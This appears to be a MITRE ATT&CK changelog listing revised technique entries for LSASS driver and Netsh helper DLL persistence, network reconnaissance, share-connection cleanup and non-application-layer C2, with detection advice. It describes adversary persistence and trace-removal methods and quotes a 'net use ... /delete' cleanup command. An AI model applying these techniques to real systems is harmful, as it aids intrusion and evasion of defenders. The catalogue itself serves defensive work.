| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 16:52:26.567000+00:00 | 2022-04-20 16:34:43.405000+00:00 |
| description | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. | Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem) Adversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads. |
| external_references[1]['source_name'] | Microsoft Security Subsystem | Microsoft LSA Protection Mar 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. | Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/library/cc961760.aspx | https://technet.microsoft.com/library/dn408187.aspx |
| external_references[2]['source_name'] | Microsoft LSA Protection Mar 2014 | Microsoft DLL Security |
| external_references[2]['description'] | Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017. | Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. |
| external_references[2]['url'] | https://technet.microsoft.com/library/dn408187.aspx | https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx |
| external_references[3]['source_name'] | Microsoft DLL Security | Microsoft Security Subsystem |
| external_references[3]['description'] | Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017. | Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017. |
| external_references[3]['url'] | https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx | https://technet.microsoft.com/library/cc961760.aspx |
| x_mitre_data_sources[0] | DLL monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | Module: Module Load |
| x_mitre_data_sources[2] | Loaded DLLs | File: File Modification |
| x_mitre_data_sources[3] | Process monitoring | Driver: Driver Load |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by executing malicious | t | 1 | Adversaries may establish persistence by executing malicious |
| > | content triggered by Netsh Helper DLLs. Netsh.exe (also ref | > | content triggered by Netsh Helper DLLs. Netsh.exe (also ref | ||
| > | erred to as Netshell) is a command-line scripting utility us | > | erred to as Netshell) is a command-line scripting utility us | ||
| > | ed to interact with the network configuration of a system. I | > | ed to interact with the network configuration of a system. I | ||
| > | t contains functionality to add helper DLLs for extending fu | > | t contains functionality to add helper DLLs for extending fu | ||
| > | nctionality of the utility. (Citation: TechNet Netsh) The pa | > | nctionality of the utility.(Citation: TechNet Netsh) The pat | ||
| > | ths to registered netsh.exe helper DLLs are entered into the | > | hs to registered netsh.exe helper DLLs are entered into the | ||
| > | Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</co | > | Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</cod | ||
| > | de>. Adversaries can use netsh.exe helper DLLs to trigger e | > | e>. Adversaries can use netsh.exe helper DLLs to trigger ex | ||
| > | xecution of arbitrary code in a persistent manner. This exec | > | ecution of arbitrary code in a persistent manner. This execu | ||
| > | ution would take place anytime netsh.exe is executed, which | > | tion would take place anytime netsh.exe is executed, which c | ||
| > | could happen automatically, with another persistence techniq | > | ould happen automatically, with another persistence techniqu | ||
| > | ue, or if other software (ex: VPN) is present on the system | > | e, or if other software (ex: VPN) is present on the system t | ||
| > | that executes netsh.exe as part of its normal functionality. | > | hat executes netsh.exe as part of its normal functionality.( | ||
| > | (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske | > | Citation: Github Netsh Helper CS Beacon)(Citation: Demaske N | ||
| > | Netsh Persistence) | > | etsh Persistence) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_attack_spec_version | 2.1.0 | |
| x_mitre_deprecated | False | |
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 18:28:07.793000+00:00 | 2022-04-20 17:09:17.363000+00:00 |
| description | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) | Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at HKLM\SOFTWARE\Microsoft\Netsh.
Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence) |
| external_references[1]['source_name'] | TechNet Netsh | Demaske Netsh Persistence |
| external_references[1]['description'] | Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. | Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. |
| external_references[1]['url'] | https://technet.microsoft.com/library/bb490939.aspx | https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html |
| external_references[2]['source_name'] | Github Netsh Helper CS Beacon | TechNet Netsh |
| external_references[2]['description'] | Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. | Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017. |
| external_references[2]['url'] | https://github.com/outflankbv/NetshHelperBeacon | https://technet.microsoft.com/library/bb490939.aspx |
| external_references[3]['source_name'] | Demaske Netsh Persistence | Github Netsh Helper CS Beacon |
| external_references[3]['description'] | Demaske, M. (2016, September 23). USING NETSHELL TO EXECUTE EVIL DLLS AND PERSIST ON A HOST. Retrieved April 8, 2017. | Smeets, M. (2016, September 26). NetshHelperBeacon. Retrieved February 13, 2017. |
| external_references[3]['url'] | https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html | https://github.com/outflankbv/NetshHelperBeacon |
| x_mitre_data_sources[0] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Module: Module Load |
| x_mitre_data_sources[2] | Windows Registry | Process: Process Creation |
| x_mitre_data_sources[3] | DLL monitoring | Windows Registry: Windows Registry Key Modification |
| x_mitre_detection | It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence) | It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the HKLM\SOFTWARE\Microsoft\Netsh registry key for any new or suspicious entries that do not correlate with known system files or benign software.(Citation: Demaske Netsh Persistence) |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may access network configuration files to collec | t | 1 | Adversaries may access network configuration files to collec |
| > | t sensitive data about the device and the network. The netwo | > | t sensitive data about the device and the network. The netwo | ||
| > | rk configuration is a file containing parameters that determ | > | rk configuration is a file containing parameters that determ | ||
| > | ine the operation of the device. The device typically stores | > | ine the operation of the device. The device typically stores | ||
| > | an in-memory copy of the configuration while operating, and | > | an in-memory copy of the configuration while operating, and | ||
| > | a separate configuration on non-volatile storage to load af | > | a separate configuration on non-volatile storage to load af | ||
| > | ter device reset. Adversaries can inspect the configuration | > | ter device reset. Adversaries can inspect the configuration | ||
| > | files to reveal information about the target network and its | > | files to reveal information about the target network and its | ||
| > | layout, the network device and its software, or identifying | > | layout, the network device and its software, or identifying | ||
| > | legitimate accounts and credentials for later use. Adversa | > | legitimate accounts and credentials for later use. Adversa | ||
| > | ries can use common management tools and protocols, such as | > | ries can use common management tools and protocols, such as | ||
| > | Simple Network Management Protocol (SNMP) and Smart Install | > | Simple Network Management Protocol (SNMP) and Smart Install | ||
| > | (SMI), to access network configuration files. (Citation: US- | > | (SMI), to access network configuration files.(Citation: US-C | ||
| > | CERT TA18-106A Network Infrastructure Devices 2018) (Citatio | > | ERT TA18-106A Network Infrastructure Devices 2018)(Citation: | ||
| > | n: Cisco Blog Legacy Device Attacks) These tools may be used | > | Cisco Blog Legacy Device Attacks) These tools may be used t | ||
| > | to query specific data from a configuration repository or c | > | o query specific data from a configuration repository or con | ||
| > | onfigure the device to export the configuration for later an | > | figure the device to export the configuration for later anal | ||
| > | alysis. | > | ysis. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 01:45:55.144000+00:00 | 2022-02-17 19:50:46.948000+00:00 |
| description | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. | Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. |
| x_mitre_data_sources[0] | Netflow/Enclave netflow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Connection Creation |
| x_mitre_detection | Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration. (Citation: US-CERT TA18-068A 2018) | Identify network traffic sent or received by untrusted hosts or networks. Configure signatures to identify strings that may be found in a network device configuration.(Citation: US-CERT TA18-068A 2018) |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network security appliances that can | > | k security appliances that can be used during targeting. Inf | ||
| > | be used during targeting. Information about network securit | > | ormation about network security appliances may include a var | ||
| > | y appliances may include a variety of details, such as the e | > | iety of details, such as the existence and specifics of depl | ||
| > | xistence and specifics of deployed firewalls, content filter | > | oyed firewalls, content filters, and proxies/bastion hosts. | ||
| > | s, and proxies/bastion hosts. Adversaries may also target in | > | Adversaries may also target information about victim network | ||
| > | formation about victim network-based intrusion detection sys | > | -based intrusion detection systems (NIDS) or other appliance | ||
| > | tems (NIDS) or other appliances related to defensive cyberse | > | s related to defensive cybersecurity operations. Adversarie | ||
| > | curity operations. Adversaries may gather this information | > | s may gather this information in various ways, such as direc | ||
| > | in various ways, such as direct collection actions via [Acti | > | t collection actions via [Active Scanning](https://attack.mi | ||
| > | ve Scanning](https://attack.mitre.org/techniques/T1595) or [ | > | tre.org/techniques/T1595) or [Phishing for Information](http | ||
| > | Phishing for Information](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1598).(Citation: Nmap Firew | ||
| > | s/T1598).(Citation: Nmap Firewalls NIDS) Information about n | > | alls NIDS) Information about network security appliances may | ||
| > | etwork security appliances may also be exposed to adversarie | > | also be exposed to adversaries via online or other accessib | ||
| > | s via online or other accessible data sets (ex: [Search Vict | > | le data sets (ex: [Search Victim-Owned Websites](https://att | ||
| > | im-Owned Websites](https://attack.mitre.org/techniques/T1594 | > | ack.mitre.org/techniques/T1594)). Gathering this information | ||
| > | )). Gathering this information may reveal opportunities for | > | may reveal opportunities for other forms of reconnaissance | ||
| > | other forms of reconnaissance (ex: [Search Open Technical Da | > | (ex: [Search Open Technical Databases](https://attack.mitre. | ||
| > | tabases](https://attack.mitre.org/techniques/T1596) or [Sear | > | org/techniques/T1596) or [Search Open Websites/Domains](http | ||
| > | ch Open Websites/Domains](https://attack.mitre.org/technique | > | s://attack.mitre.org/techniques/T1593)), establishing operat | ||
| > | s/T1593)), establishing operational resources (ex: [Develop | > | ional resources (ex: [Develop Capabilities](https://attack.m | ||
| > | Capabilities](https://attack.mitre.org/techniques/T1587) or | > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | ||
| > | [Obtain Capabilities](https://attack.mitre.org/techniques/T1 | > | attack.mitre.org/techniques/T1588)), and/or initial access ( | ||
| > | 588)), and/or initial access (ex: [External Remote Services] | > | ex: [External Remote Services](https://attack.mitre.org/tech | ||
| > | (https://attack.mitre.org/techniques/T1133)). | > | niques/T1133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:13.578000+00:00 | 2021-04-15 03:31:54.275000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may remove share connections that are no longer | t | 1 | Adversaries may remove share connections that are no longer |
| > | useful in order to clean up traces of their operation. Windo | > | useful in order to clean up traces of their operation. Windo | ||
| > | ws shared drive and [Windows Admin Shares](https://attack.mi | > | ws shared drive and [SMB/Windows Admin Shares](https://attac | ||
| > | tre.org/techniques/T1077) connections can be removed when no | > | k.mitre.org/techniques/T1021/002) connections can be removed | ||
| > | longer needed. [Net](https://attack.mitre.org/software/S003 | > | when no longer needed. [Net](https://attack.mitre.org/softw | ||
| > | 9) is an example utility that can be used to remove network | > | are/S0039) is an example utility that can be used to remove | ||
| > | share connections with the <code>net use \\system\share /del | > | network share connections with the <code>net use \\system\sh | ||
| > | ete</code> command. (Citation: Technet Net Use) | > | are /delete</code> command. (Citation: Technet Net Use) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-01-31 12:39:18.816000+00:00 | 2021-02-09 13:31:01.970000+00:00 |
| description | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) |
| x_mitre_data_sources[0] | Authentication logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Packet capture | Command: Command Execution |
| x_mitre_data_sources[2] | Process command-line parameters | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Process monitoring | Process: Process Creation |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network topology that can be used du | > | k topology that can be used during targeting. Information ab | ||
| > | ring targeting. Information about network topologies may inc | > | out network topologies may include a variety of details, inc | ||
| > | lude a variety of details, including the physical and/or log | > | luding the physical and/or logical arrangement of both exter | ||
| > | ical arrangement of both external-facing and internal networ | > | nal-facing and internal network environments. This informati | ||
| > | k environments. This information may also include specifics | > | on may also include specifics regarding network devices (gat | ||
| > | regarding network devices (gateways, routers, etc.) and othe | > | eways, routers, etc.) and other infrastructure. Adversaries | ||
| > | r infrastructure. Adversaries may gather this information i | > | may gather this information in various ways, such as direct | ||
| > | n various ways, such as direct collection actions via [Activ | > | collection actions via [Active Scanning](https://attack.mit | ||
| > | e Scanning](https://attack.mitre.org/techniques/T1595) or [P | > | re.org/techniques/T1595) or [Phishing for Information](https | ||
| > | hishing for Information](https://attack.mitre.org/techniques | > | ://attack.mitre.org/techniques/T1598). Information about net | ||
| > | /T1598). Information about network topologies may also be ex | > | work topologies may also be exposed to adversaries via onlin | ||
| > | posed to adversaries via online or other accessible data set | > | e or other accessible data sets (ex: [Search Victim-Owned We | ||
| > | s (ex: [Search Victim-Owned Websites](https://attack.mitre.o | > | bsites](https://attack.mitre.org/techniques/T1594)).(Citatio | ||
| > | rg/techniques/T1594)).(Citation: DNS Dumpster) Gathering thi | > | n: DNS Dumpster) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Search Open | ||
| > | connaissance (ex: [Search Open Technical Databases](https:// | > | Technical Databases](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1596) or [Search Open Websites/ | > | 596) or [Search Open Websites/Domains](https://attack.mitre. | ||
| > | Domains](https://attack.mitre.org/techniques/T1593)), establ | > | org/techniques/T1593)), establishing operational resources ( | ||
| > | ishing operational resources (ex: [Acquire Infrastructure](h | > | ex: [Acquire Infrastructure](https://attack.mitre.org/techni | ||
| > | ttps://attack.mitre.org/techniques/T1583) or [Compromise Inf | > | ques/T1583) or [Compromise Infrastructure](https://attack.mi | ||
| > | rastructure](https://attack.mitre.org/techniques/T1584)), an | > | tre.org/techniques/T1584)), and/or initial access (ex: [Exte | ||
| > | d/or initial access (ex: [External Remote Services](https:// | > | rnal Remote Services](https://attack.mitre.org/techniques/T1 | ||
| > | attack.mitre.org/techniques/T1133)). | > | 133)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:04:40.188000+00:00 | 2021-04-15 03:33:02.476000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). | Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure. Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather informa | t | 1 | Adversaries may gather information about the victim's networ |
| > | tion about the victim's network trust dependencies that can | > | k trust dependencies that can be used during targeting. Info | ||
| > | be used during targeting. Information about network trusts m | > | rmation about network trusts may include a variety of detail | ||
| > | ay include a variety of details, including second or third-p | > | s, including second or third-party organizations/domains (ex | ||
| > | arty organizations/domains (ex: managed service providers, c | > | : managed service providers, contractors, etc.) that have co | ||
| > | ontractors, etc.) that have connected (and potentially eleva | > | nnected (and potentially elevated) network access. Adversar | ||
| > | ted) network access. Adversaries may gather this informatio | > | ies may gather this information in various ways, such as dir | ||
| > | n in various ways, such as direct elicitation via [Phishing | > | ect elicitation via [Phishing for Information](https://attac | ||
| > | for Information](https://attack.mitre.org/techniques/T1598). | > | k.mitre.org/techniques/T1598). Information about network tru | ||
| > | Information about network trusts may also be exposed to adv | > | sts may also be exposed to adversaries via online or other a | ||
| > | ersaries via online or other accessible data sets (ex: [Sear | > | ccessible data sets (ex: [Search Open Technical Databases](h | ||
| > | ch Open Technical Databases](https://attack.mitre.org/techni | > | ttps://attack.mitre.org/techniques/T1596)).(Citation: Pentes | ||
| > | ques/T1596)).(Citation: Pentesting AD Forests) Gathering thi | > | ting AD Forests) Gathering this information may reveal oppor | ||
| > | s information may reveal opportunities for other forms of re | > | tunities for other forms of reconnaissance (ex: [Active Scan | ||
| > | connaissance (ex: [Active Scanning](https://attack.mitre.org | > | ning](https://attack.mitre.org/techniques/T1595) or [Search | ||
| > | /techniques/T1595) or [Search Open Websites/Domains](https:/ | > | Open Websites/Domains](https://attack.mitre.org/techniques/T | ||
| > | /attack.mitre.org/techniques/T1593)), establishing operation | > | 1593)), establishing operational resources (ex: [Acquire Inf | ||
| > | al resources (ex: [Acquire Infrastructure](https://attack.mi | > | rastructure](https://attack.mitre.org/techniques/T1583) or [ | ||
| > | tre.org/techniques/T1583) or [Compromise Infrastructure](htt | > | Compromise Infrastructure](https://attack.mitre.org/techniqu | ||
| > | ps://attack.mitre.org/techniques/T1584)), and/or initial acc | > | es/T1584)), and/or initial access (ex: [Trusted Relationship | ||
| > | ess (ex: [Trusted Relationship](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1199)). | ||
| > | hniques/T1199)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ['enterprise-attack'] | |
| x_mitre_modified_by_ref | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:05:03.816000+00:00 | 2021-04-15 03:34:22.917000+00:00 |
| description | Before compromising a victim, adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). | Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)). |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use a non-application layer protocol for com | t | 1 | Adversaries may use a non-application layer protocol for com |
| > | munication between host and C2 server or among infected host | > | munication between host and C2 server or among infected host | ||
| > | s within a network. The list of possible protocols is extens | > | s within a network. The list of possible protocols is extens | ||
| > | ive.(Citation: Wikipedia OSI) Specific examples include use | > | ive.(Citation: Wikipedia OSI) Specific examples include use | ||
| > | of network layer protocols, such as the Internet Control Mes | > | of network layer protocols, such as the Internet Control Mes | ||
| > | sage Protocol (ICMP), transport layer protocols, such as the | > | sage Protocol (ICMP), transport layer protocols, such as the | ||
| > | User Datagram Protocol (UDP), session layer protocols, such | > | User Datagram Protocol (UDP), session layer protocols, such | ||
| > | as Socket Secure (SOCKS), as well as redirected/tunneled pr | > | as Socket Secure (SOCKS), as well as redirected/tunneled pr | ||
| > | otocols, such as Serial over LAN (SOL). ICMP communication | > | otocols, such as Serial over LAN (SOL). ICMP communication | ||
| > | between hosts is one example.(Citation: Cisco Synful Knock E | > | between hosts is one example.(Citation: Cisco Synful Knock E | ||
| > | volution) Because ICMP is part of the Internet Protocol Sui | > | volution) Because ICMP is part of the Internet Protocol Suit | ||
| > | te, it is required to be implemented by all IP-compatible ho | > | e, it is required to be implemented by all IP-compatible hos | ||
